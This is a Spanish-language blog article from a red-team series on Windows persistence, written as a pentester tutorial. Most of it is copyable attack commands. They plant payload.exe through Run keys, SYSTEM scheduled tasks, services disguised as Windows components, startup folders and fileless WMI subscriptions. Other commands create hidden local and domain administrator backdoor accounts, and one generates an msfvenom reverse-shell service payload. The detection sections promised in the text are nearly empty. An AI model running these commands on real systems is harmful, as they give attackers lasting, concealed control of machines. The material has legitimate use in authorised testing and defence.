Persistencia en Windows:
cómo los atacantes se quedan aunque los eliminen
Serie Red Team | unfantasmaenelsistema.com
Comprometer un sistema es solo la mitad del trabajo. La otra mitad es garantizar que ese acceso no desaparezca cuando el sistema se reinicie, cuando alguien cambie una contraseña o cuando el antivirus elimine el payload inicial. En un ataque real, el acceso perdido equivale a empezar de cero. En una auditoría, demostrar persistencia es lo que convierte un hallazgo de «acceso puntual» en un hallazgo de «acceso continuado indefinido», que tiene implicaciones de riesgo completamente diferentes.
Este artículo cubre los mecanismos de persistencia más usados en Windows desde la perspectiva de un pentester, con especial atención a la sección de detección: cada técnica incluye los Event IDs y artefactos que genera para que los defensores sepan exactamente qué buscar.


1. Qué es la persistencia y por qué importa en una auditoría

En el contexto de una auditoría de seguridad, la persistencia tiene un valor doble. Para el atacante real, es supervivencia. Para el auditor ético, es evidencia: demostrar que se podría haber mantenido acceso durante semanas sin ser detectado es el argumento más convincente para justificar inversión en mejoras de seguridad.
2. Claves de registro Run: el mecanismo más frecuente
Las claves Run del registro son el mecanismo de persistencia más utilizado y más buscado por defensores. La ventaja desde el punto de vista del atacante es que no requiere privilegios de administrador para la variante HKCU, y la desventaja es que Autoruns de Sysinternals las expone inmediatamente.


reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d ‘C:\Windows\Temp\payload.exe’ /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d ‘C:\Windows\Temp\payload.exe’ /f
New-ItemProperty -Path ‘HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ -Name ‘WindowsUpdate’ -Value ‘C:\Windows\Temp\payload.exe’ -PropertyType String -Force
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty ‘HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run’
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
reg query HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f
▲ Comandos copiables
3. Tareas programadas: control temporal preciso
Las tareas programadas son más flexibles que las claves Run porque permiten control granular sobre cuándo y cómo se ejecuta el payload. La capacidad de ejecutarse como SYSTEM sin credenciales almacenadas y la posibilidad de configurarse como ocultas las convierte en una opción muy usada cuando se tienen privilegios de administrador.


schtasks /create /tn ‘Microsoft\Windows\WindowsUpdate\Updater’ /tr ‘C:\Windows\Temp\payload.exe’ /sc onstart /ru SYSTEM /f
schtasks /create /tn ‘WindowsDefenderUpdate’ /tr ‘C:\Windows\Temp\payload.exe’ /sc hourly /mo 1 /ru SYSTEM /f
schtasks /create /tn ‘UserInit’ /tr ‘C:\Windows\Temp\payload.exe’ /sc onlogon /ru SYSTEM /f
$action = New-ScheduledTaskAction -Execute ‘C:\Windows\Temp\payload.exe’
$trigger = New-ScheduledTaskTrigger -AtStartup
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName ‘WindowsUpdate’ -RunLevel Highest -User ‘SYSTEM’ -Settings $settings -Force
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike ‘\Microsoft\*’}
schtasks /delete /tn ‘Microsoft\Windows\WindowsUpdate\Updater’ /f
Unregister-ScheduledTask -TaskName ‘WindowsUpdate’ -Confirm:$false
▲ Comandos copiables
4. Servicios de Windows: persistencia de sistema
Los servicios se inician antes de que haya ningún usuario conectado y se ejecutan como SYSTEM por defecto. Son el mecanismo de más alto privilegio disponible para persistencia. La contrapartida es que generan el Event ID 7045, que cualquier SIEM bien configurado debería monitorizar.


sc create WindowsSecurityService binPath= ‘C:\Windows\Temp\payload.exe’ start= auto
sc description WindowsSecurityService ‘Provides security monitoring for Windows’
sc start WindowsSecurityService
sc failure WindowsSecurityService reset= 0 actions= restart/5000/restart/5000/restart/5000
New-Service -Name ‘WindowsSecurityService’ -BinaryPathName ‘C:\Windows\Temp\payload.exe’ -StartupType Automatic -Description ‘Provides security monitoring’
Start-Service -Name ‘WindowsSecurityService’
sc query WindowsSecurityService
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f exe-service -o service_payload.exe
sc stop WindowsSecurityService
sc delete WindowsSecurityService
▲ Comandos copiables
5. Cuentas de usuario: acceso directo persistente
Crear una cuenta de administrador oculta es la forma más directa de persistencia: no depende de que ningún ejecutable esté en disco, sobrevive a limpiezas de malware, y proporciona acceso directo via RDP, WinRM o SMB. El símbolo $ al final del nombre de usuario es un truco antiguo para ocultar la cuenta de la pantalla de inicio de sesión, aunque aparece en net user y en los Event IDs de auditoría.

net user support$ Pass123! /add
net localgroup Administrators support$ /add
reg add ‘HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList’ /v support$ /t REG_DWORD /d 0 /f
New-LocalUser -Name ‘support$’ -Password (ConvertTo-SecureString ‘Pass123!’ -AsPlainText -Force) -PasswordNeverExpires
Add-LocalGroupMember -Group ‘Administrators’ -Member ‘support$’
net user
Get-LocalUser | Select-Object Name,Enabled,LastLogon
net user backdoor Pass123! /add /domain
net group ‘Domain Admins’ backdoor /add /domain
net user support$ /delete
▲ Comandos copiables
6. Carpetas de inicio (Startup Folders)
Las carpetas de inicio son la versión gráfica de las claves Run: cualquier ejecutable o acceso directo colocado ahí se ejecuta automáticamente cuando el usuario inicia sesión. La variante de usuario no requiere privilegios de administrador, y la variante de todos los usuarios se activa para cualquier usuario que inicie sesión en el sistema.

copy C:\Windows\Temp\payload.exe ‘C:\Users\usuario\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe’
copy C:\Windows\Temp\payload.exe ‘C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe’
$userStartup = [System.Environment]::GetFolderPath(‘Startup’)
$allUsersStartup = [System.Environment]::GetFolderPath(‘CommonStartup’)
Copy-Item -Path ‘C:\Windows\Temp\payload.exe’ -Destination $userStartup
dir ‘C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup’
dir ‘C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup’
copy payload.exe %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
▲ Comandos copiables
7. WMI Event Subscriptions: persistencia sin archivos
Las suscripciones de eventos WMI son la técnica de persistencia más sigilosa de todas porque no dejan archivos en el disco. Todo se almacena en el repositorio WMI, una base de datos interna de Windows que muy pocos sistemas de seguridad monitorizan activamente. Sin Sysmon configurado específicamente para detectar eventos WMI (IDs 20, 21 y 22), esta persistencia puede durar indefinidamente.


$FilterArgs = @{name=’WindowsUpdate’; EventNameSpace=’root\CimV2′; QueryLanguage=’WQL’; Query=»SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’ AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320″}
$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
$ConsumerArgs = @{name=’WindowsUpdate’; CommandLineTemplate=’C:\Windows\Temp\payload.exe’}
$Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
$BindingArgs = @{Filter=[Ref]$Filter; Consumer=[Ref]$Consumer}
New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $BindingArgs
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq ‘WindowsUpdate’} | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object {$_.Name -eq ‘WindowsUpdate’} | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Remove-WmiObject
▲ Comandos copiables
8. Detección: artefactos y Event IDs por técnica
Desde la perspectiva del blue team, conocer exactamente qué artefactos genera cada mecanismo de persistencia es la base de cualquier estrategia de detección. La herramienta más efectiva para detección manual es Autoruns de Sysinternals: muestra absolutamente todo lo que arranca con Windows, con código de colores para entradas no firmadas o inusuales.

9. Estrategia y flujo en una auditoría

Conclusión
La persistencia es la técnica que convierte un acceso puntual en un compromiso real. En el contexto de una auditoría ética, su valor no es mantener el acceso para siempre sino demostrar que podría haberse mantenido. Esa demostración, con evidencia documentada de que la persistencia sobrevivió a un reinicio del sistema, es la que justifica las recomendaciones de seguridad más costosas ante la dirección de una organización.
Igualmente importante es la limpieza. Todo mecanismo de persistencia creado durante una auditoría debe eliminarse completamente al finalizarla. Una persistencia olvidada no solo deja una vulnerabilidad activa: es una negligencia profesional que puede tener consecuencias legales. El informe final debe incluir un apartado de limpieza que documente qué se creó y qué se eliminó.

unfantasmaenelsistema.com | Seguridad, sistemas y todo lo que no debería funcionar (pero funciona)

